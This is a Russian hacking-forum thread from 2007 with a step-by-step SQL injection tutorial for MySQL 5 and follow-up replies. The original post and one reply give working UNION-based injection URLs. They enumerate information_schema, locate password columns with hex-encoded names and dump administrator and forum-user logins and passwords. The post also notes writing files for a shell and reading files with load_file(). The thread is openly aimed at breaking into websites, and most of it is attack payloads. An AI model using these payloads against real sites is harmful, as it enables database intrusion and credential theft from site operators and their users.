Проведение иньекции в mysql 5.x.x

Тема в разделе "Статьи", создана пользователем Constantine, 22 окт 2007.

  1. Constantine
    Constantine Guest
    [Intro]
    Наверное этой статьей закончиться цикл статей о проведении sql иньекций. Практически все ее виды мы постарлись растолковать. Так что дальше ждем ваших вопросов в соответсвующих темах.
    Несмотря на то что sql иньекция в 5 версии mysql считаеться самой легкой, и здесь есть некоторый особенности, которые нужно знать, чтобы не тратить много времени

    [Tables]
    Главной особенностью mysql 5x являетьсся беспрепятсвенный доступ к техническим таблицам information_schema.columns и information_schema.tables, которые позволяют нам узнать имена таблиц и колонок в данной бд. Однако не спишите стучаться в них и начинать перебирать все таблички которых может быть 70 или 300 или 900....
    Сначала смотрим не наличиствуют ли тут стандартные таблицы(такие как user, users, admin, какие либо стандартные форумные таблицы). И только убдившись в их отсутсвие или в недостаточности информации в них обращаемся к information_schema

    [Перебор]
    Это вообще страшное занятие перебирать 300 таблиц руками, а потом искать соответсвия между названиями имен таблиц и колонок. Сидеть и часами щелкать лимитом перебирая кучу техники и наконец на какой нибудь 268 позиции обнаруживать таблицу alaverd1234_im_frik_users. Забыли про этот убогий метод. 5-я ветка дает нам прекрасную возможность составлять подзапросы. Представим себе запрос

    Код:
    http://somebody.com/index.php?id=1+union+select+1,2,3,4,5+from+information_schema.tables/*
    Немного подумав, можно понять что нас интересуют таблицы в которых есть какие-то пароли... припоминаем стандартные имена колонок: password, pass, user_password,pwd.....

    Так почему бы не извлечь таблицы которые содержат эти колонки, вполне возможно что в них и будет содержаться нужная информация, состовляем запрос

    Код:
    http://somebody.com/index.php?id=1+union+select+1,2,table_name,4,5+from+information_schema.columns+where+column_name=0x70617373776f7264/*
    
    Кодируем название колонки в 0xhex, чтобы избежать лишних столкновений с magic_quotes=on

    Если вы получили ответ, попработайте лимитом, возможно еще какие то таблицы содержат колонку password.

    Предположим мы получили 2 таблицы: blablaass_admin и forum_users

    Слудющим шагом станет получение колонок:

    Код:
    http://somebody.com/index.php?id=1+union+select+1,2,column_name,4,5+from+information_schema.columns+where+table_name=0x626c61626c616173735f61646d696e/*
    Кодируем название таблицы blablaass_admin и составляем подзапрос. Получаем ответ, работаем лимитом и по логике выбираем нужные нам данные, предположим ими стали колонки: adminID, adm_login,password.

    Все мы имеем всю нужную информацию чтобы вывести данные. А ведь если бы мы работали лимитом с данными из .talbes, мы моглибы встретить эту таблицу с админами на какой нибудь двухсотой позиции!

    Код:
    http://somebody.com/index.php?id=1+union+select+1,2,concat_ws(char(58,58),adminID, adm_login,password),4,5+from+blablaass_admin+limit+1,1/*
    Выводим первую запись получаем данные:
    PHP:
    1::administrator::superpassword
    Пароль может быть как чистым, так и ввиде хеша

    [Базы]
    Далее поковыряем аналогичным образом таблицу forum_users. Предположим что мы извлекли оттуда колонки: ID, username,password и составили впоне корректный на первый взгляд запрос

    Код:
    http://somebody.com/index.php?id=1+union+select+1,2,concat_ws(char(58,58),ID,username,password),4,5+from+forum_users/*
    И к огромному удивлению получаем огромную ошибищу.. что же не так. Здесь может быть 2 варианта(опустим тот при котором чтение из таблицы запрещено)
    1 очень простой: данные из таблы требуют конвертации


    Код:
    http://somebody.com/index.php?id=1+union+select+1,2,(convert(concat_ws(char(58,58),ID,username,password)+using+latin1),4,5+from+forum_users/*
    если и тогда данных вы не получили, значит дело в несовпадении баз, такое очень часто случаеться, особенно с форумами и с прочими поддоменами типа маленьких инет_лабазов и.т.п

    Смотрим имя базы

    Код:
    http://somebody.com/index.php?id=1+union+select+1,2,table_schema,4,5+from+information_schema.tables+where+table_name=0x666f72756d5f7573657273/*
    В закодированном виде у нас название таблиц - forum_users

    Получаем ответ вроде такого:

    PHP:
    myforum
    и составляем уже правельный запрос
    Код:
    http://somebody.com/index.php?id=1+union+select+1,2,concat_ws(char(58,58),ID,username,password),4,5+from+myforum.forum_users/*
    Table_schema можно смотреть сразу вместе с именами таблиц при их выборки для этого кнокатим table_name и table_schema

    [Shell]
    Создать файл послав запрос к базе в 5ой ветке гораздо проще. Конечно для этого нужны права, которые редко встретишь, однакож отсутсвует проблема 4.x.x ветки, когда надо было указывать абсолютные пути в кавычках, кодировать пути было нельзя. В 5ой ветке это сделать можно, т.е мы легко обходим magic_quotes=ON.
    Подробнее о составлении запроса смотрите мою тему проведение Mysql иньекции

    [Count]
    Чтобы сразу иметь представление о том с какими размерами вы столкнулись проверьте колличество таблиц
    Код:
    http://somebody.com/index.php?id=1+union+select+1,2,count(table_name),4,5+from+information_schema.tables/*
    Это необязательно просто совет

    [END]
    Незабывайте что 5 я ветка не ограничивает нас в использовании читалки файлоы - load_file(), пользуйтесь и ей.
    Выражаю благодарности Koller и Helkern(надеюсь ты обретешь данный цвет в скором времени;)), которые работали вместе со мной над статьями по проведение SQL иньекций

    [Video]
    http://www.rapidshare.ru/456113
    http://webfile.ru/1584163

    (с) Constantine Специально для xaker.name

    Freeman
     
    Последнее редактирование модератором: 15 ноя 2007
    22 окт 2007
    2 пользователям это понравилось.
  2. Хел
    Хел Guest
    Constantine,
    отличная статья но я надеюсь что юзеры еще захотят продолжения цикла)) а то жалко заканчивать скули так....=(
     
    22 окт 2007
  3. Grey_a
    Grey_a Новичок
    Симпатии:
    4
    Поиск в таблицах

    Ну раз тема называется Проведение иньекции в mysql 5.x.x, то выжимать из неё нужно все по максимуму. Маленькое дополнение:

    Иногда, когда копаешь сайт и количество таблиц на нём измеряется сотнями найти нужную таблиу перебирая все записи limit'ом практически не реально, да и вообще за частую это дело глупое, достаточно часто, легче сформировать конкретный запрос.

    Начнем с того что определимся что нам нужно, а что обычно нужно? правильно логины и пароли, т.е. нам нужно узнать

    1)имя таблицы где они будут лежать
    2)имена колонок, но зная имя таблицы найти имена колонок сможет любой, а вот отыскать название таблицы...

    Имена таблиц как правило содержат слово user (+ какой нидь префикс), а имена колонок как правило login и password (но опять же с каким нидь префиксов и т.д.).

    Составлять конкретные запросы (select table_name from information_schema.columns where column_name='login') не имеет смысл, т.к. вероятность что имена колонок будут именно такими очень мала.

    Но здесь отлично поможет like, поиск с ним расширит рамки, а использовать его нужно так:

    select table_name from information_schema.columns where column_name like %login%

    Результатом будет вывод таблиц имеющих колонку содержащую слово login, т.е. имя колонки admin_login2 удовлетворит условию поиска, а это существенно расширит диапазон поиска.

    Теперь составим более сложный запрос и в тоже время универсальный запрос:

    select table_name from information_schema.columns where column_name like %login% or column_name like %user% or column_name like %pass% or table_name like %user% or table_name like %admin%

    В результате мы получим имена таблиц в которых:

    1) И/ИЛИ имя таблицы содержит слово user
    2) И/ИЛИ имя таблицы содержит слово admin
    3) И/ИЛИ имя колонки содержит слово user
    4) И/ИЛИ имя колонки содержит слово login
    5) И/ИЛИ имя колонки содержит слово pass

    Закинем все в хекс и вот что получится в итоге:

    Код:
    11111111111+union+select+table_name+information_schema.columns+where+column_name+like+0x256c6f67696e25+or+column_name+like+0x257573657225+or+column_name+like+0x257061737325+or+table_name+like+0x257573657225+or+table_name+like+0x2561646d696e25+limit+0,1/*
    На практике такой запрос существенно облегчит поиск нужной таблицы.
     
    4 ноя 2007
    2 пользователям это понравилось.
  4. Xapg
    Xapg Новичок
    Симпатии:
    0
    Оч полезная статья.
     
    Последнее редактирование: 6 янв 2008
    2 янв 2008
  5. GettoLove
    GettoLove Guest
    Привецтвую, я вот тока не понял как делать 0xHex, есть такой сайт http://www.hack-shop.org.ru/code.php но он постояно оффлайн, какой может быть алтернатив?
     
    24 янв 2008
  6. Koller
    Koller Guest
    Например программа Coder 2.4.1 - _http://stream.ifolder.ru/5082578
     
    24 янв 2008
Загрузка...